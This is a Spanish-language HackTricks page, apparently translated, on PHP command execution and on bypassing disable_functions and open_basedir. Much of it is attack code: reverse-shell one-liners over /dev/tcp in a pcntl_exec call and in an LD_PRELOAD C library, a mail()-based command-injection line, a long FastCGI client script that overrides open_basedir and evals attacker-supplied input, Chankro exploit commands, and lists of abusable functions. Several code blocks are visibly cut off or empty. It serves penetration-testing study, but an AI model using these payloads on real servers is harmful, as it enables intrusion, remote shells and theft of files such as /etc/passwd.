# PHP - Funciones Útiles y bypass de disable\_functions/open\_basedir
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Ejecución de Comandos y Código en PHP
### Ejecución de Comandos en PHP
**Nota:** Un webshell php [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) puede **automáticamente** verificar y evadir la siguiente función si alguna de ellas está deshabilitada.
**exec** - Devuelve la última línea de la salida de comandos
```bash
echo exec("uname -a");
```
**passthru** - Pasa la salida de comandos directamente al navegador
```bash
echo passthru("uname -a");
```
**sistema** - Pasa la salida de comandos directamente al navegador y devuelve la última línea
```bash
echo system("uname -a");
```
**shell\_exec** - Devuelve la salida de comandos
```bash
echo shell_exec("uname -a");
```
\`\` (comillas invertidas) - Igual que shell\_exec()
```bash
echo `uname -a`
```
**popen** - Abre una tubería de lectura o escritura al proceso de un comando
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
**proc\_open** - Similar to popen() but greater degree of control
```bash
proc_close(proc_open("uname -a",array(),$something));
```
**preg\_replace**
```php
```
**pcntl\_exec** - Ejecuta un programa (por defecto en PHP moderno y no tan moderno necesitas cargar el módulo `pcntl.so` para usar esta función)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb\_send\_mail** - Esta función se utiliza para enviar correos electrónicos, pero también se puede abusar para inyectar comandos arbitrarios dentro del parámetro `$options`. Esto se debe a que la **función `mail` de php** generalmente llama al binario `sendmail` dentro del sistema y te permite **agregar opciones adicionales**. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y mostrar la salida:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
**dl** - Esta función se puede utilizar para cargar dinámicamente una extensión de PHP. Esta función no estará siempre presente, por lo que debes verificar si está disponible antes de intentar explotarla. Lee [esta página para aprender cómo explotar esta función](disable\_functions-bypass-dl-function.md).
### Ejecución de Código PHP
Además de eval, existen otras formas de ejecutar código PHP: include/require se pueden utilizar para la ejecución de código remoto en forma de vulnerabilidades de Inclusión de Archivos Locales e Inclusión de Archivos Remotos.
```php
${} // If your input gets reflected in any PHP string, it will be executed.
eval()
assert() // identical to eval()
preg_replace('/.*/e',...) // e does an eval() on the match
create_function() // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());
// or serialize/unserialize function
```
## disable\_functions & open\_basedir
**Las funciones deshabilitadas** son la configuración que se puede ajustar en archivos `.ini` en PHP que **prohibirá** el uso de las **funciones** indicadas. **Open basedir** es la configuración que indica a PHP la carpeta a la que puede acceder.\
La configuración de PHP suele ajustarse en la ruta _/etc/php7/conf.d_ o similar.
Ambas configuraciones se pueden ver en la salida de **`phpinfo()`**:
![](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
![](<../../../../.gitbook/assets/image (347).png>)
## open\_basedir Bypass
`open_basedir` configurará las carpetas a las que PHP puede acceder, **no podrás escribir/leer/ejecutar ningún archivo fuera** de esas carpetas, pero tampoco **podrás listar** otros directorios.\
Sin embargo, si de alguna manera puedes ejecutar código PHP arbitrario, puedes **intentar** el siguiente fragmento de **código** para intentar **burlar** la restricción.
### Listando directorios con el bypass de glob://
En este primer ejemplo se utiliza el protocolo `glob://` con un bypass de ruta:
```php
__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}
";
}
```
**Nota1**: En la ruta también puedes usar `/e??/*` para listar `/etc/*` y cualquier otra carpeta.\
**Nota2**: ¡Parece que parte del código está duplicado, pero en realidad es necesario!\
**Nota3**: Este ejemplo solo es útil para listar carpetas, no para leer archivos
### Bypass completo de open\_basedir abusando de FastCGI
Si quieres **aprender más sobre PHP-FPM y FastCGI** puedes leer la [primera sección de esta página](disable\_functions-bypass-php-fpm-fastcgi.md).\
Si **`php-fpm`** está configurado, puedes abusar de él para evitar completamente **open\_basedir**:
![](<../../../../.gitbook/assets/image (350).png>)
![](<../../../../.gitbook/assets/image (349).png>)
Ten en cuenta que lo primero que debes hacer es encontrar dónde está el **socket unix de php-fpm**. Suele estar en `/var/run`, por lo que puedes **usar el código anterior para listar el directorio y encontrarlo**.\
Código de [aquí](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
```php
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
```
Este script se comunicará con el **socket Unix de php-fpm** (generalmente ubicado en /var/run si se utiliza fpm) para ejecutar código arbitrario. La configuración de `open_basedir` será sobrescrita por el atributo **PHP\_VALUE** que se envía.\
Observa cómo se utiliza `eval` para ejecutar el código PHP que envías dentro del parámetro **cmd**.\
También observa la **línea 324 comentada**, puedes descomentarla y el **payload se conectará automáticamente a la URL proporcionada y ejecutará el código PHP** contenido allí.\
Simplemente accede a `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` para obtener el contenido del archivo `/etc/passwd`.
{% hint style="warning" %}
Puede que estés pensando que de la misma manera en que hemos sobrescrito la configuración de `open_basedir` podemos **sobrescribir `disable_functions`**. Bueno, inténtalo, pero no funcionará, aparentemente **`disable_functions` solo se puede configurar en un archivo de configuración `.ini` de php** y los cambios que realices usando PHP\_VALUE no serán efectivos en esta configuración específica.
{% endhint %}
## Bypass de disable\_functions
Si logras ejecutar código PHP dentro de una máquina, probablemente quieras ir al siguiente nivel y **ejecutar comandos del sistema arbitrarios**. En esta situación, es común descubrir que la mayoría o todas las **funciones de PHP** que permiten **ejecutar comandos del sistema han sido deshabilitadas** en **`disable_functions`.**\
Entonces, veamos cómo puedes evadir esta restricción (si es posible)
### Descubrimiento automático de bypass
Puedes usar la herramienta [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) y te indicará qué función (si alguna) puedes usar para **evadir** **`disable_functions`**.
### Evadir usando otras funciones del sistema
Simplemente regresa al inicio de esta página y **verifica si alguna de las funciones de ejecución de comandos no está deshabilitada y está disponible en el entorno**. Si encuentras al menos una de ellas, podrás usarla para ejecutar comandos del sistema arbitrarios.
### Bypass de LD\_PRELOAD
Es bien sabido que algunas funciones en PHP como `mail()` van a **ejecutar binarios dentro del sistema**. Por lo tanto, puedes abusar de ellas utilizando la variable de entorno `LD_PRELOAD` para hacer que carguen una biblioteca arbitraria que pueda ejecutar cualquier cosa.
#### Funciones que se pueden usar para evadir disable\_functions con LD\_PRELOAD
* **`mail`**
* **`mb_send_mail`**: Efectiva cuando el módulo `php-mbstring` está instalado.
* **`imap_mail`**: Funciona si el módulo `php-imap` está presente.
* **`libvirt_connect`**: Requiere el módulo `php-libvirt-php`.
* **`gnupg_init`**: Utilizable con el módulo `php-gnupg` instalado.
* **`new imagick()`**: Esta clase puede ser abusada para evadir restricciones. Técnicas detalladas de explotación se pueden encontrar en un [**análisis exhaustivo aquí**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
Puedes encontrar aquí [**el script de fuzzing**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) que se utilizó para encontrar esas funciones.
Aquí tienes una biblioteca que puedes compilar para abusar de la variable de entorno `LD_PRELOAD`:
```php
#include
#include
#include
#include
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
```
#### Bypass usando Chankro
Para abusar de esta mala configuración puedes usar [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta es una herramienta que **generará un exploit de PHP** que necesitas subir al servidor vulnerable y ejecutarlo (acceder a él a través de la web).\
**Chankro** escribirá en el disco de la víctima la **biblioteca y el shell inverso** que deseas ejecutar y utilizará el truco de **`LD_PRELOAD` + la función `mail()` de PHP** para ejecutar el shell inverso.
Ten en cuenta que para usar **Chankro**, `mail` y `putenv` **no pueden aparecer en la lista de `disable_functions`**.\
En el siguiente ejemplo puedes ver cómo **crear un exploit de chankro** para **arquitectura 64 bits**, que ejecutará `whoami` y guardará la salida en _/tmp/chankro\_shell.out_, chankro **escribirá la biblioteca y la carga útil** en _/tmp_ y el **exploit final** se llamará **bicho.php** (ese es el archivo que necesitas subir al servidor de la víctima):
{% tabs %}
{% tab title="shell.sh" %}
```php
#!/bin/sh
whoami > /tmp/chankro_shell.out
```
{% endtab %}
{% tab title="Chankro" %}
```bash
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
```
{% endtab %}
{% endtabs %}
Si encuentras que la función **mail** está bloqueada por funciones deshabilitadas, aún puedes usar la función **mb\_send\_mail**.\
Más información sobre esta técnica y Chankro aquí: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/)
### "Bypass" utilizando capacidades de PHP
Ten en cuenta que usando **PHP** puedes **leer y escribir archivos, crear directorios y cambiar permisos**.\
Incluso puedes **volcar bases de datos**.\
Quizás usando **PHP** para **enumerar** el sistema puedas encontrar una forma de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada).
He creado un webshell que facilita mucho la realización de estas acciones (nota que la mayoría de los webshells también te ofrecerán estas opciones): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
### Bypasses dependientes de módulos/versiones
Existen varias formas de evadir las disable\_functions si se está utilizando algún módulo específico o explotar alguna versión específica de PHP:
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
* [**Bypass con FFI - Interfaz de Función Externa habilitada**](broken-reference/)
* [**Bypass a través de mem**](disable\_functions-bypass-via-mem.md)
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
* [**Extensión Perl de PHP Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
* [**Función dl**](disable\_functions-bypass-dl-function.md)
* [**Este exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
* 5.\* - explotable con cambios menores en el PoC
* 7.0 - todas las versiones hasta la fecha
* 7.1 - todas las versiones hasta la fecha
* 7.2 - todas las versiones hasta la fecha
* 7.3 - todas las versiones hasta la fecha
* 7.4 - todas las versiones hasta la fecha
* 8.0 - todas las versiones hasta la fecha
* [**Desde 7.0 hasta 8.0 exploit (solo Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
* [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
* [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
* [**Shellshock de PHP 5.x**](disable\_functions-php-5.x-shellshock-exploit.md)
* [**PHP 5.2.4 ionCube**](disable\_functions-php-5.2.4-ioncube-extension-exploit.md)
* [**PHP <= 5.2.9 en Windows**](disable\_functions-bypass-php-less-than-5.2.9-on-windows.md)
* [**PHP 5.2.4/5.2.5 cURL**](disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
* [**PHP 5.2.3 -Win32std**](disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
* [**Exploit FOpen de PHP 5.2**](disable\_functions-bypass-php-5.2-fopen-exploit.md)
* [**PHP 4 >= 4.2.-, PHP 5 pcntl\_exec**](disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md)
### **Herramienta Automática**
El siguiente script prueba algunos de los métodos comentados aquí:\
[https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php)
## Otras funciones interesantes de PHP
### Lista de funciones que aceptan callbacks
Estas funciones aceptan un parámetro de tipo string que podría usarse para llamar a una función elegida por el atacante. Dependiendo de la función, el atacante puede o no tener la capacidad de pasar un parámetro. En ese caso, se podría usar una función de Divulgación de Información como phpinfo().
[Callbacks / Callables ](https://www.php.net/manual/en/language.types.callable.php)
[Listas siguientes desde aquí](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
```php
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
```
### Divulgación de Información
La mayoría de estas llamadas de función no son puntos de fuga. Pero podría ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. Si un atacante puede ver phpinfo(), definitivamente es una vulnerabilidad.
```php
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
```
### Otro
```php
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
putenv
ini_set
mail // has CRLF injection in the 3rd parameter, opens the door for spam.
header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
```
### Funciones del Sistema de Archivos
Según RATS, todas las funciones del sistema de archivos en php son peligrosas. Algunas de estas no parecen ser muy útiles para el atacante. Otras son más útiles de lo que podrías pensar. Por ejemplo, si allow\_url\_fopen=On, entonces una URL puede ser utilizada como una ruta de archivo, por lo que una llamada a copy($\_GET\['s'], $\_GET\['d']); puede ser utilizada para subir un script PHP en cualquier lugar del sistema. Además, si un sitio es vulnerable a una solicitud enviada a través de GET, cada una de esas funciones del sistema de archivos puede ser abusada para canalizar un ataque a otro host a través de tu servidor.
**Manejador de sistema de archivos abierto**
```php
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
```
**Escribir en el sistema de archivos (parcialmente en combinación con la lectura)**
```php
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng // 2nd parameter is a path.
imagewbmp // 2nd parameter is a path.
image2wbmp // 2nd parameter is a path.
imagejpeg // 2nd parameter is a path.
imagexbm // 2nd parameter is a path.
imagegif // 2nd parameter is a path.
imagegd // 2nd parameter is a path.
imagegd2 // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
```
**Leer desde el sistema de archivos**
```php
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
```
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.